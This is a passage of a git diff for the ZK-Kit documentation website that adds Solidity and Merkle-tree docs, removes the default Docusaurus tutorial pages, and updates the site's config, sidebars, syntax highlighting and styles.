+        uint[2][2] b;
+        uint[2] c;
+        uint[] input;
+    }
+    
+    constructor(address _verifier) {
+        verifier = Groth16Verifier(_verifier);
+    }
+    
+    function verifyBatch(Proof[] memory proofs) public view returns (bool) {
+        for (uint i = 0; i < proofs.length; i++) {
+            if (!verifier.verifyProof(
+                proofs[i].a,
+                proofs[i].b,
+                proofs[i].c,
+                proofs[i].input
+            )) {
+                return false;
+            }
+        }
+        return true;
+    }
+}
+```
+
+### Event-Based Indexing
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "@zk-kit/incremental-merkle-tree.sol/IncrementalBinaryTree.sol";
+
+contract IndexedTree {
+    using IncrementalBinaryTree for IncrementalBinaryTree.Data;
+    
+    IncrementalBinaryTree.Data internal tree;
+    
+    event LeafInserted(uint256 indexed index, uint256 leaf, uint256 root);
+    
+    constructor() {
+        tree.init(20, 0);
+    }
+    
+    function insert(uint256 leaf) external {
+        uint256 index = tree.numberOfLeaves;
+        tree.insert(leaf);
+        emit LeafInserted(index, leaf, tree.root);
+    }
+}
+```
+
+### Root History
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "@zk-kit/incremental-merkle-tree.sol/IncrementalBinaryTree.sol";
+
+contract TreeWithHistory {
+    using IncrementalBinaryTree for IncrementalBinaryTree.Data;
+    
+    IncrementalBinaryTree.Data internal tree;
+    
+    uint256 public constant ROOT_HISTORY_SIZE = 30;
+    uint256[ROOT_HISTORY_SIZE] public rootHistory;
+    uint256 public currentRootIndex;
+    
+    constructor() {
+        tree.init(20, 0);
+    }
+    
+    function insert(uint256 leaf) external {
+        tree.insert(leaf);
+        
+        // Store root in history
+        rootHistory[currentRootIndex] = tree.root;
+        currentRootIndex = (currentRootIndex + 1) % ROOT_HISTORY_SIZE;
+    }
+    
+    function isKnownRoot(uint256 root) public view returns (bool) {
+        if (root == tree.root) return true;
+        
+        for (uint256 i = 0; i < ROOT_HISTORY_SIZE; i++) {
+            if (root == rootHistory[i]) return true;
+        }
+        
+        return false;
+    }
+}
+```
+
+## Gas Optimization
+
+### Tree Insertion Costs
+
+| Depth | Gas per Insert | Notes |
+|-------|---------------|-------|
+| 10 | ~50,000 | Small tree |
+| 16 | ~80,000 | Medium tree |
+| 20 | ~100,000 | Large tree |
+| 32 | ~150,000 | Very large tree |
+
+### Optimization Tips
+
+```solidity
+// βœ… Good: Use events for off-chain indexing
+emit LeafInserted(index, leaf);
+
+// βœ… Good: Batch operations
+function insertBatch(uint256[] memory leaves) external {
+    for (uint i = 0; i < leaves.length; i++) {
+        tree.insert(leaves[i]);
+    }
+}
+
+// βœ… Good: Use assembly for critical paths
+assembly {
+    // Gas-optimized operations
+}
+```
+
+## Testing Contracts
+
+### Using Hardhat
+
+```javascript
+const { expect } = require("chai")
+const { ethers } = require("hardhat")
+
+describe("AnonymousVoting", function() {
+    let voting, verifier
+    
+    beforeEach(async function() {
+        const Verifier = await ethers.getContractFactory("Groth16Verifier")
+        verifier = await Verifier.deploy()
+        
+        const Voting = await ethers.getContractFactory("AnonymousVoting")
+        voting = await Voting.deploy(verifier.address)
+    })
+    
+    it("should register voter", async function() {
+        await voting.register(123)
+        expect(await voting.getVoterRoot()).to.not.equal(0)
+    })
+    
+    it("should cast vote with valid proof", async function() {
+        // Generate proof off-chain
+        const proof = await generateProof(/* ... */)
+        
+        await voting.vote(
+            candidate,
+            nullifier,
+            root,
+            proof.a,
+            proof.b,
+            proof.c
+        )
+        
+        expect(await voting.votes(candidate)).to.equal(1)
+    })
+})
+```
+
+### Using Foundry
+
+```solidity
+// test/AnonymousVoting.t.sol
+pragma solidity ^0.8.20;
+
+import "forge-std/Test.sol";
+import "../src/AnonymousVoting.sol";
+
+contract AnonymousVotingTest is Test {
+    AnonymousVoting public voting;
+    
+    function setUp() public {
+        Groth16Verifier verifier = new Groth16Verifier();
+        voting = new AnonymousVoting(address(verifier));
+    }
+    
+    function testRegister() public {
+        voting.register(123);
+        assertTrue(voting.getVoterRoot() != 0);
+    }
+}
+```
+
+```bash
+# Run tests
+forge test
+```
+
+## Best Practices
+
+### Security
+
+```solidity
+// βœ… Good: Validate inputs
+require(leaf != 0, "Invalid leaf");
+
+// βœ… Good: Check root validity
+require(isKnownRoot(root), "Unknown root");
+
+// βœ… Good: Prevent replay attacks
+require(!nullifiers[nullifier], "Used nullifier");
+
+// βœ… Good: Use latest Solidity version
+pragma solidity ^0.8.20;
+```
+
+### Gas Efficiency
+
+```solidity
+// βœ… Good: Use calldata for read-only arrays
+function verify(uint[] calldata input) external {
+    // ...
+}
+
+// βœ… Good: Cache storage reads
+uint256 currentRoot = tree.root;
+if (currentRoot == expectedRoot) {
+    // Use currentRoot instead of tree.root
+}
+
+// βœ… Good: Use unchecked for safe math
+unchecked {
+    i++;
+}
+```
+
+## Deployment
+
+### Mainnet Deployment Checklist
+
+- [ ] Audit smart contracts
+- [ ] Test on testnet (Sepolia, Goerli)
+- [ ] Verify contracts on Etherscan
+- [ ] Set up monitoring and alerts
+- [ ] Document contract addresses
+- [ ] Implement upgrade mechanism (if needed)
+
+### Example Deployment Script
+
+```javascript
+// scripts/deploy-production.js
+const { ethers } = require("hardhat")
+
+async function main() {
+    // Deploy with create2 for deterministic addresses
+    const factory = await ethers.getContractFactory("AnonymousVoting")
+    
+    const salt = ethers.utils.id("v1.0.0")
+    const voting = await factory.deploy(verifierAddress, { 
+        gasLimit: 5000000 
+    })
+    
+    await voting.deployed()
+    
+    // Verify on Etherscan
+    await run("verify:verify", {
+        address: voting.address,
+        constructorArguments: [verifierAddress]
+    })
+}
+```
+
+## Related Documentation
+
+- [Circom Circuits](/docs/packages/circom/overview) - Generate proofs
+- [JavaScript Packages](/docs/packages/javascript/imt) - Create proofs off-chain
+- [Getting Started](/docs/getting-started/first-proof) - Build your first proof
+- [Development Setup](/docs/getting-started/development-setup) - Setup guide
+
+## Common Use Cases
+
+- βœ… Anonymous voting
+- βœ… Private airdrops
+- βœ… Credential verification
+- βœ… Privacy-preserving DeFi
+- βœ… ZK rollups
+- βœ… Identity systems
+
+## Source
+
+- **GitHub**: [zk-kit.solidity](https://github.com/privacy-scaling-explorations/zk-kit.solidity)
+- **License**: MIT
+
+## Community
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Contract Examples](https://github.com/privacy-scaling-explorations/zk-kit.solidity/tree/main/examples)
+
diff --git a/docs/tutorial-basics/_category_.json b/docs/tutorial-basics/_category_.json
deleted file mode 100644
index b81b941..0000000
--- a/docs/tutorial-basics/_category_.json
+++ /dev/null
@@ -1,8 +0,0 @@
-{
-    "label": "Tutorial - Basics",
-    "position": 2,
-    "link": {
-        "type": "generated-index",
-        "description": "5 minutes to learn the most important Docusaurus concepts."
-    }
-}
diff --git a/docs/tutorial-basics/congratulations.md b/docs/tutorial-basics/congratulations.md
deleted file mode 100644
index 04771a0..0000000
--- a/docs/tutorial-basics/congratulations.md
+++ /dev/null
@@ -1,23 +0,0 @@
----
-sidebar_position: 6
----
-
-# Congratulations!
-
-You have just learned the **basics of Docusaurus** and made some changes to the **initial template**.
-
-Docusaurus has **much more to offer**!
-
-Have **5 more minutes**? Take a look at **[versioning](../tutorial-extras/manage-docs-versions.md)** and **[i18n](../tutorial-extras/translate-your-site.md)**.
-
-Anything **unclear** or **buggy** in this tutorial? [Please report it!](https://github.com/facebook/docusaurus/discussions/4610)
-
-## What's next?
-
-- Read the [official documentation](https://docusaurus.io/)
-- Modify your site configuration with [`docusaurus.config.js`](https://docusaurus.io/docs/api/docusaurus-config)
-- Add navbar and footer items with [`themeConfig`](https://docusaurus.io/docs/api/themes/configuration)
-- Add a custom [Design and Layout](https://docusaurus.io/docs/styling-layout)
-- Add a [search bar](https://docusaurus.io/docs/search)
-- Find inspirations in the [Docusaurus showcase](https://docusaurus.io/showcase)
-- Get involved in the [Docusaurus Community](https://docusaurus.io/community/support)
diff --git a/docs/tutorial-basics/create-a-blog-post.md b/docs/tutorial-basics/create-a-blog-post.md
deleted file mode 100644
index 9ac28c0..0000000
--- a/docs/tutorial-basics/create-a-blog-post.md
+++ /dev/null
@@ -1,34 +0,0 @@
----
-sidebar_position: 3
----
-
-# Create a Blog Post
-
-Docusaurus creates a **page for each blog post**, but also a **blog index page**, a **tag system**, an **RSS** feed...
-
-## Create your first Post
-
-Create a file at `blog/2021-02-28-greetings.md`:
-
-```md title="blog/2021-02-28-greetings.md"
----
-slug: greetings
-title: Greetings!
-authors:
-    - name: Joel Marcey
-      title: Co-creator of Docusaurus 1
-      url: https://github.com/JoelMarcey
-      image_url: https://github.com/JoelMarcey.png
-    - name: SΓ©bastien Lorber
-      title: Docusaurus maintainer
-      url: https://sebastienlorber.com
-      image_url: https://github.com/slorber.png
-tags: [greetings]
----
-
-Congratulations, you have made your first post!
-
-Feel free to play around and edit this post as much as you like.
-```
-
-A new blog post is now available at [http://localhost:3000/blog/greetings](http://localhost:3000/blog/greetings).
diff --git a/docs/tutorial-basics/create-a-document.md b/docs/tutorial-basics/create-a-document.md
deleted file mode 100644
index 94666e1..0000000
--- a/docs/tutorial-basics/create-a-document.md
+++ /dev/null
@@ -1,57 +0,0 @@
----
-sidebar_position: 2
----
-
-# Create a Document
-
-Documents are **groups of pages** connected through:
-
-- a **sidebar**
-- **previous/next navigation**
-- **versioning**
-
-## Create your first Doc
-
-Create a Markdown file at `docs/hello.md`:
-
-```md title="docs/hello.md"
-# Hello
-
-This is my **first Docusaurus document**!
-```
-
-A new document is now available at [http://localhost:3000/docs/hello](http://localhost:3000/docs/hello).
-
-## Configure the Sidebar
-
-Docusaurus automatically **creates a sidebar** from the `docs` folder.
-
-Add metadata to customize the sidebar label and position:
-
-```md title="docs/hello.md" {1-4}
----
-sidebar_label: "Hi!"
-sidebar_position: 3
----
-
-# Hello
-
-This is my **first Docusaurus document**!
-```
-
-It is also possible to create your sidebar explicitly in `sidebars.js`:
-
-```js title="sidebars.js"
-export default {
-    tutorialSidebar: [
-        "intro",
-        // highlight-next-line
-        "hello",
-        {
-            type: "category",
-            label: "Tutorial",
-            items: ["tutorial-basics/create-a-document"]
-        }
-    ]
-}
-```
diff --git a/docs/tutorial-basics/create-a-page.md b/docs/tutorial-basics/create-a-page.md
deleted file mode 100644
index a107da9..0000000
--- a/docs/tutorial-basics/create-a-page.md
+++ /dev/null
@@ -1,43 +0,0 @@
----
-sidebar_position: 1
----
-
-# Create a Page
-
-Add **Markdown or React** files to `src/pages` to create a **standalone page**:
-
-- `src/pages/index.js` β†’ `localhost:3000/`
-- `src/pages/foo.md` β†’ `localhost:3000/foo`
-- `src/pages/foo/bar.js` β†’ `localhost:3000/foo/bar`
-
-## Create your first React Page
-
-Create a file at `src/pages/my-react-page.js`:
-
-```jsx title="src/pages/my-react-page.js"
-import React from "react"
-import Layout from "@theme/Layout"
-
-export default function MyReactPage() {
-    return (
-        
-            

My React page

-

This is a React page

-
- ) -} -``` - -A new page is now available at [http://localhost:3000/my-react-page](http://localhost:3000/my-react-page). - -## Create your first Markdown Page - -Create a file at `src/pages/my-markdown-page.md`: - -```mdx title="src/pages/my-markdown-page.md" -# My Markdown page - -This is a Markdown page -``` - -A new page is now available at [http://localhost:3000/my-markdown-page](http://localhost:3000/my-markdown-page). diff --git a/docs/tutorial-basics/deploy-your-site.md b/docs/tutorial-basics/deploy-your-site.md deleted file mode 100644 index 1c50ee0..0000000 --- a/docs/tutorial-basics/deploy-your-site.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -sidebar_position: 5 ---- - -# Deploy your site - -Docusaurus is a **static-site-generator** (also called **[Jamstack](https://jamstack.org/)**). - -It builds your site as simple **static HTML, JavaScript and CSS files**. - -## Build your site - -Build your site **for production**: - -```bash -npm run build -``` - -The static files are generated in the `build` folder. - -## Deploy your site - -Test your production build locally: - -```bash -npm run serve -``` - -The `build` folder is now served at [http://localhost:3000/](http://localhost:3000/). - -You can now deploy the `build` folder **almost anywhere** easily, **for free** or very small cost (read the **[Deployment Guide](https://docusaurus.io/docs/deployment)**). diff --git a/docs/tutorial-basics/markdown-features.mdx b/docs/tutorial-basics/markdown-features.mdx deleted file mode 100644 index 117d669..0000000 --- a/docs/tutorial-basics/markdown-features.mdx +++ /dev/null @@ -1,153 +0,0 @@ ---- -sidebar_position: 4 ---- - -# Markdown Features - -Docusaurus supports **[Markdown](https://daringfireball.net/projects/markdown/syntax)** and a few **additional features**. - -## Front Matter - -Markdown documents have metadata at the top called [Front Matter](https://jekyllrb.com/docs/front-matter/): - -```text title="my-doc.md" -// highlight-start ---- -id: my-doc-id -title: My document title -description: My document description -slug: /my-custom-url ---- -// highlight-end - -## Markdown heading - -Markdown text with [links](./hello.md) -``` - -## Links - -Regular Markdown links are supported, using url paths or relative file paths. - -```md -Let's see how to [Create a page](/create-a-page). -``` - -```md -Let's see how to [Create a page](./create-a-page.md). -``` - -**Result:** Let's see how to [Create a page](./create-a-page.md). - -## Images - -Regular Markdown images are supported. - -You can use absolute paths to reference images in the static directory (`static/img/docusaurus.png`): - -```md -![Docusaurus logo](/img/docusaurus.png) -``` - -![Docusaurus logo](/img/docusaurus.png) - -You can reference images relative to the current file as well. This is particularly useful to colocate images close to the Markdown files using them: - -```md -![Docusaurus logo](./img/docusaurus.png) -``` - -## Code Blocks - -Markdown code blocks are supported with Syntax highlighting. - -````md -```jsx title="src/components/HelloDocusaurus.js" -function HelloDocusaurus() { - return

Hello, Docusaurus!

-} -``` -```` - -```jsx title="src/components/HelloDocusaurus.js" -function HelloDocusaurus() { - return

Hello, Docusaurus!

-} -``` - -## Admonitions - -Docusaurus has a special syntax to create admonitions and callouts: - -```md -:::tip My tip - -Use this awesome feature option - -::: - -:::danger Take care - -This action is dangerous - -::: -``` - -:::tip My tip - -Use this awesome feature option - -::: - -:::danger Take care - -This action is dangerous - -::: - -## MDX and React Components - -[MDX](https://mdxjs.com/) can make your documentation more **interactive** and allows using any **React components inside Markdown**: - -```jsx -export const Highlight = ({children, color}) => ( - { - alert(`You clicked the color ${color} with label ${children}`) - }}> - {children} - -); - -This is Docusaurus green ! - -This is Facebook blue ! -``` - -export const Highlight = ({ children, color }) => ( - { - alert(`You clicked the color ${color} with label ${children}`) - }} - > - {children} - -) - -This is Docusaurus green ! - -This is Facebook blue ! diff --git a/docs/tutorial-extras/_category_.json b/docs/tutorial-extras/_category_.json deleted file mode 100644 index c6174dc..0000000 --- a/docs/tutorial-extras/_category_.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "label": "Tutorial - Extras", - "position": 3, - "link": { - "type": "generated-index" - } -} diff --git a/docs/tutorial-extras/img/docsVersionDropdown.png b/docs/tutorial-extras/img/docsVersionDropdown.png deleted file mode 100644 index 97e4164..0000000 Binary files a/docs/tutorial-extras/img/docsVersionDropdown.png and /dev/null differ diff --git a/docs/tutorial-extras/img/localeDropdown.png b/docs/tutorial-extras/img/localeDropdown.png deleted file mode 100644 index e257edc..0000000 Binary files a/docs/tutorial-extras/img/localeDropdown.png and /dev/null differ diff --git a/docs/tutorial-extras/manage-docs-versions.md b/docs/tutorial-extras/manage-docs-versions.md deleted file mode 100644 index b26fe5b..0000000 --- a/docs/tutorial-extras/manage-docs-versions.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -sidebar_position: 1 ---- - -# Manage Docs Versions - -Docusaurus can manage multiple versions of your docs. - -## Create a docs version - -Release a version 1.0 of your project: - -```bash -npm run docusaurus docs:version 1.0 -``` - -The `docs` folder is copied into `versioned_docs/version-1.0` and `versions.json` is created. - -Your docs now have 2 versions: - -- `1.0` at `http://localhost:3000/docs/` for the version 1.0 docs -- `current` at `http://localhost:3000/docs/next/` for the **upcoming, unreleased docs** - -## Add a Version Dropdown - -To navigate seamlessly across versions, add a version dropdown. - -Modify the `docusaurus.config.js` file: - -```js title="docusaurus.config.js" -export default { - themeConfig: { - navbar: { - items: [ - // highlight-start - { - type: "docsVersionDropdown" - } - // highlight-end - ] - } - } -} -``` - -The docs version dropdown appears in your navbar: - -![Docs Version Dropdown](./img/docsVersionDropdown.png) - -## Update an existing version - -It is possible to edit versioned docs in their respective folder: - -- `versioned_docs/version-1.0/hello.md` updates `http://localhost:3000/docs/hello` -- `docs/hello.md` updates `http://localhost:3000/docs/next/hello` diff --git a/docs/tutorial-extras/translate-your-site.md b/docs/tutorial-extras/translate-your-site.md deleted file mode 100644 index 3d1e9ee..0000000 --- a/docs/tutorial-extras/translate-your-site.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -sidebar_position: 2 ---- - -# Translate your site - -Let's translate `docs/intro.md` to French. - -## Configure i18n - -Modify `docusaurus.config.js` to add support for the `fr` locale: - -```js title="docusaurus.config.js" -export default { - i18n: { - defaultLocale: "en", - locales: ["en", "fr"] - } -} -``` - -## Translate a doc - -Copy the `docs/intro.md` file to the `i18n/fr` folder: - -```bash -mkdir -p i18n/fr/docusaurus-plugin-content-docs/current/ - -cp docs/intro.md i18n/fr/docusaurus-plugin-content-docs/current/intro.md -``` - -Translate `i18n/fr/docusaurus-plugin-content-docs/current/intro.md` in French. - -## Start your localized site - -Start your site on the French locale: - -```bash -npm run start -- --locale fr -``` - -Your localized site is accessible at [http://localhost:3000/fr/](http://localhost:3000/fr/) and the `Getting Started` page is translated. - -:::caution - -In development, you can only use one locale at a time. - -::: - -## Add a Locale Dropdown - -To navigate seamlessly across languages, add a locale dropdown. - -Modify the `docusaurus.config.js` file: - -```js title="docusaurus.config.js" -export default { - themeConfig: { - navbar: { - items: [ - // highlight-start - { - type: "localeDropdown" - } - // highlight-end - ] - } - } -} -``` - -The locale dropdown now appears in your navbar: - -![Locale Dropdown](./img/localeDropdown.png) - -## Build your localized site - -Build your site for a specific locale: - -```bash -npm run build -- --locale fr -``` - -Or build your site to include all the locales at once: - -```bash -npm run build -``` diff --git a/docusaurus.config.ts b/docusaurus.config.ts index 129a48a..d31a29f 100644 --- a/docusaurus.config.ts +++ b/docusaurus.config.ts @@ -1,6 +1,8 @@ import { themes as prismThemes } from "prism-react-renderer" import type { Config } from "@docusaurus/types" import type * as Preset from "@docusaurus/preset-classic" +import remarkMath from "remark-math" +import rehypeKatex from "rehype-katex" // This runs in Node.js - Don't use client-side code here (browser APIs, JSX...) @@ -38,6 +40,23 @@ const config: Config = { name: "viewport", content: "width=device-width, initial-scale=1.0, maximum-scale=5.0, user-scalable=yes" } + }, + { + tagName: "meta", + attributes: { + name: "theme-color", + content: "#000000" + } + } + // Add google-site-verification meta tag here when you get it from Google Search Console + ], + + stylesheets: [ + { + href: "https://cdn.jsdelivr.net/npm/katex@0.16.8/dist/katex.min.css", + type: "text/css", + integrity: "sha384-odtC+0UGzzFL/6PNoE8rX/SPcQDXBJ+uRepguP4QkPCm2LBxH3FA3y+fKSiJ+AmM", + crossorigin: "anonymous" } ], @@ -51,9 +70,13 @@ const config: Config = { { docs: { sidebarPath: "./sidebars.ts", + routeBasePath: "docs", + path: "docs", // Please change this to your repo. // Remove this to remove the "edit this page" links. - editUrl: "https://github.com/zk-kit/website" + editUrl: "https://github.com/zk-kit/website", + remarkPlugins: [remarkMath], + rehypePlugins: [rehypeKatex] }, blog: { routeBasePath: "/blog", @@ -66,10 +89,113 @@ const config: Config = { onInlineTags: "warn", onInlineAuthors: "warn", onUntruncatedBlogPosts: "warn", - blogSidebarCount: 0 + blogSidebarCount: 0, + remarkPlugins: [remarkMath], + rehypePlugins: [rehypeKatex] }, theme: { customCss: "./src/css/custom.css" + }, + pages: { + remarkPlugins: [remarkMath], + rehypePlugins: [rehypeKatex] + }, + sitemap: { + changefreq: "weekly", + priority: 0.5, + ignorePatterns: [ + "/tags/**", + "/blog/authors/**", + "/blog/archive", + "/blog/tags/**", + "/tutorial-basics/**", + "/tutorial-extras/**", + "/markdown-page" + ], + filename: "sitemap.xml", + createSitemapItems: async (params) => { + const { defaultCreateSitemapItems, ...rest } = params + const items = await defaultCreateSitemapItems(rest) + + // Use current date as lastmod for all pages + const lastModDate = new Date().toISOString() + + return items.map((item) => { + const url = item.url + + // Homepage - highest priority + if (url === "https://zkkit.org/" || url === "https://zkkit.org") { + return { + ...item, + priority: 1.0, + changefreq: "weekly", + lastmod: lastModDate + } + } + + // Main sections for sitelinks - high priority + if ( + url === "https://zkkit.org/projects/" || + url === "https://zkkit.org/projects" || + url === "https://zkkit.org/contribute/" || + url === "https://zkkit.org/contribute" || + url === "https://zkkit.org/about/" || + url === "https://zkkit.org/about" || + url === "https://zkkit.org/blog" || + url === "https://zkkit.org/blog/" + ) { + return { + ...item, + priority: 0.9, + changefreq: "weekly", + lastmod: lastModDate + } + } + + // Documentation main pages - high priority for sitelinks + if ( + url === "https://zkkit.org/docs" || + url === "https://zkkit.org/docs/" || + url === "https://zkkit.org/docs/introduction/what-is-zk-kit" || + url === "https://zkkit.org/docs/getting-started/installation" + ) { + return { + ...item, + priority: 0.9, + changefreq: "weekly", + lastmod: lastModDate + } + } + + // Blog posts - medium priority + if (url.includes("/blog/") && !url.includes("/tags/") && !url.includes("/authors/")) { + return { + ...item, + priority: 0.6, + changefreq: "monthly", + lastmod: lastModDate + } + } + + // Docs pages - medium-high priority (when docs are enabled) + if (url.includes("/docs/")) { + return { + ...item, + priority: 0.7, + changefreq: "weekly", + lastmod: lastModDate + } + } + + // All other pages - lower priority + return { + ...item, + priority: 0.5, + changefreq: "monthly", + lastmod: lastModDate + } + }) + } } } satisfies Preset.Options ] @@ -78,6 +204,20 @@ const config: Config = { themeConfig: { // Open Graph / social card image image: "og-share-zk-kot.webp", + metadata: [ + { + name: "description", + content: "ZK-Kit is an innovative toolkit that provides reference implementations of cryptographic primitives across multiple programming languages." + }, + { + name: "keywords", + content: "zero-knowledge, zk-kit, cryptography, privacy, blockchain, zkp, zk-snarks, merkle trees, semaphore, rollup" + }, + { property: "og:type", content: "website" }, + { property: "og:site_name", content: "ZK-Kit" }, + { name: "twitter:card", content: "summary_large_image" }, + { name: "twitter:site", content: "@zkkitDevs" } + ], colorMode: { defaultMode: "dark", disableSwitch: false, @@ -106,26 +246,28 @@ const config: Config = { { to: "/about", label: "About" - } - /* TODO: temporary hide documentation and blog section + }, { to: "/blog", label: "Blog", }, - { - to: "/docs/intro", + to: "/docs", label: "Documentation", position: "right" }, - */ ] }, // Footer is overridden by custom theme component footer: undefined, prism: { theme: prismThemes.github, - darkTheme: prismThemes.dracula + darkTheme: prismThemes.dracula, + additionalLanguages: ['rust', 'solidity', 'python', 'javascript', 'typescript', 'json', 'bash'] + }, + markdown: { + format: 'detect', + mermaid: false }, tableOfContents: { minHeadingLevel: 2, diff --git a/package.json b/package.json index 4abc952..ad9df1e 100644 --- a/package.json +++ b/package.json @@ -4,7 +4,7 @@ "private": true, "scripts": { "docusaurus": "docusaurus", - "start": "docusaurus start", + "start": "docusaurus start --no-open", "build": "docusaurus build", "swizzle": "docusaurus swizzle", "deploy": "docusaurus deploy", @@ -17,8 +17,8 @@ "prettier:write": "prettier -w ." }, "dependencies": { - "@docusaurus/core": "3.7.0", - "@docusaurus/preset-classic": "3.7.0", + "@docusaurus/core": "^3.9.1", + "@docusaurus/preset-classic": "^3.9.1", "@mdx-js/react": "^3.0.0", "@tailwindcss/postcss": "^4.1.7", "clsx": "^2.0.0", @@ -28,14 +28,16 @@ "react-dom": "^19.0.0", "react-icons": "^5.5.0", "react-responsive": "^10.0.1", + "rehype-katex": "^7.0.1", + "remark-math": "^6.0.0", "tailwind-merge": "^3.3.1", "tailwindcss": "^4.1.7", "three": "^0.180.0" }, "devDependencies": { - "@docusaurus/module-type-aliases": "3.7.0", - "@docusaurus/tsconfig": "3.7.0", - "@docusaurus/types": "3.7.0", + "@docusaurus/module-type-aliases": "^3.9.1", + "@docusaurus/tsconfig": "^3.9.1", + "@docusaurus/types": "^3.9.1", "@types/three": "^0", "prettier": "^3.5.3", "typescript": "~5.6.2" diff --git a/sidebars.ts b/sidebars.ts index 8c8fba1..d1896eb 100644 --- a/sidebars.ts +++ b/sidebars.ts @@ -1,33 +1,116 @@ import type { SidebarsConfig } from "@docusaurus/plugin-content-docs" -// This runs in Node.js - Don't use client-side code here (browser APIs, JSX...) +const sidebars: SidebarsConfig = { + docs: [ + // Documentation Home + "intro", + + // Introduction Section + { + type: "category", + label: "Introduction", + collapsed: false, + items: [ + "introduction/what-is-zk-kit", + "introduction/why-zero-knowledge", + "introduction/language-implementations", + "introduction/comparison", + "introduction/ecosystem" + ] + }, -/** - * Creating a sidebar enables you to: - - create an ordered group of docs - - render a sidebar for each doc of that group - - provide next/previous navigation + // Getting Started Section + { + type: "category", + label: "Getting Started", + collapsed: false, + items: [ + "getting-started/installation", + "getting-started/quick-start", + "getting-started/first-proof", + "getting-started/development-setup", + "getting-started/typescript-setup" + ] + }, - The sidebars can be generated from the filesystem, or explicitly defined here. + // Core Concepts Section + { + type: "category", + label: "Core Concepts", + collapsed: true, + items: [ + "core-concepts/zero-knowledge-basics", + "core-concepts/merkle-trees" + ] + }, - Create as many sidebars as you want. - */ -const sidebars: SidebarsConfig = { - // By default, Docusaurus generates a sidebar from the docs folder structure - tutorialSidebar: [{ type: "autogenerated", dirName: "." }] + // Packages Section + { + type: "category", + label: "Packages", + collapsed: true, + items: [ + "packages/overview", + "packages/choosing-a-package", + { + type: "category", + label: "JavaScript Packages", + collapsed: true, + items: [ + "packages/javascript/imt", + "packages/javascript/lean-imt", + "packages/javascript/smt", + "packages/javascript/eddsa-poseidon", + "packages/javascript/poseidon-cipher", + "packages/javascript/baby-jubjub", + "packages/javascript/poseidon-proof", + "packages/javascript/utils", + "packages/javascript/logical-expressions" + ] + }, + { + type: "category", + label: "Circom", + collapsed: true, + items: [ + "packages/circom/overview" + ] + }, + { + type: "category", + label: "Solidity", + collapsed: true, + items: [ + "packages/solidity/overview" + ] + }, + { + type: "category", + label: "Noir", + collapsed: true, + items: [ + "packages/noir/overview" + ] + }, + { + type: "category", + label: "Rust", + collapsed: true, + items: [ + "packages/rust/overview" + ] + } + ] + }, - // But you can create a sidebar manually - /* - tutorialSidebar: [ - 'intro', - 'hello', - { - type: 'category', - label: 'Tutorial', - items: ['tutorial-basics/create-a-document'], - }, - ], - */ + // Development & Contributing + "development-tools", + "contributing", + + // Research & Resources + "academic-papers", + "faq" + ] } export default sidebars diff --git a/src/clientModules/prism-circom.ts b/src/clientModules/prism-circom.ts new file mode 100644 index 0000000..a341549 --- /dev/null +++ b/src/clientModules/prism-circom.ts @@ -0,0 +1,51 @@ +import siteConfig from '@generated/docusaurus.config'; + +export function onRouteDidUpdate() { + // This runs on client-side only + if (typeof window !== 'undefined' && (window as any).Prism) { + const Prism = (window as any).Prism; + + if (!Prism.languages.circom) { + // Define Circom language based on C-like syntax + Prism.languages.circom = Prism.languages.extend('clike', { + 'comment': [ + { + pattern: /(^|[^\\])\/\*[\s\S]*?(?:\*\/|$)/, + lookbehind: true, + greedy: true + }, + { + pattern: /(^|[^\\:])\/\/.*/, + lookbehind: true, + greedy: true + } + ], + 'string': { + pattern: /(["'])(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/, + greedy: true + }, + 'directive': { + pattern: /pragma\s+circom\s+[^;]+;/, + alias: 'important', + inside: { + 'keyword': /pragma|circom/ + } + }, + 'include': { + pattern: /include\s+"[^"]+";/, + alias: 'important', + inside: { + 'keyword': /include/, + 'string': /"[^"]+"/ + } + }, + 'keyword': /\b(?:signal|component|template|var|function|return|if|else|for|while|do|include|pragma|circom|input|output|public|log|assert|main)\b/, + 'builtin': /\b(?:Num2Bits|Bits2Num|Poseidon|BinaryMerkleRoot|MultiMux1|IsZero|IsEqual|LessThan|Mux1|MiMC|EdDSAPoseidonVerifier|Semaphore)\b/, + 'operator': /\+\+|--|<==|==>|<--|-->|&&|\|\||[+\-*\/%&|^!<>=]=?|[?:~]/, + 'number': /\b0x[\da-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?/i, + 'punctuation': /[{}[\];(),.:]/ + }); + } + } +} + diff --git a/src/components/cards/CardBase.tsx b/src/components/cards/CardBase.tsx index 6aecd68..06ca8ce 100644 --- a/src/components/cards/CardBase.tsx +++ b/src/components/cards/CardBase.tsx @@ -12,11 +12,11 @@ export const CardBase = ({ children, className, title, actions }: CardBaseProps) return (
-
+
{title && ( {title} diff --git a/src/css/custom.css b/src/css/custom.css index f3d31d7..ddfb12e 100644 --- a/src/css/custom.css +++ b/src/css/custom.css @@ -463,3 +463,46 @@ section { border: none !important; } } + +#doc-root-layout { + + ul.menu__list { + overflow-y: scroll !important; + } + + a { + animation-duration: 0.2s; + + &.menu__link.menu__link--active, + &:hover { + color: #5dca47 !important; + } + } + + #doc-main-content { + ul { + list-style: disc !important; + } + + a:hover { + text-decoration: underline !important; + } + } +} + +.markdown { + @media (min-width: 768px) { + img { + max-width: 60% !important; + margin: 0 auto !important; + } + } + + ul { + list-style: disc !important; + } +} + +ul.table-of-contents { + list-style: decimal !important; +} \ No newline at end of file diff --git a/src/pages/markdown-page.md b/src/pages/markdown-page.md deleted file mode 100644 index 9756c5b..0000000 --- a/src/pages/markdown-page.md +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: Markdown page example ---- - -# Markdown page example - -You don't need React to write simple standalone pages. diff --git a/src/theme/BlogPostItem/Footer/index.tsx b/src/theme/BlogPostItem/Footer/index.tsx index a021829..0371eb7 100644 --- a/src/theme/BlogPostItem/Footer/index.tsx +++ b/src/theme/BlogPostItem/Footer/index.tsx @@ -1,5 +1,6 @@ import React, { type ReactNode } from "react" import clsx from "clsx" +import Link from 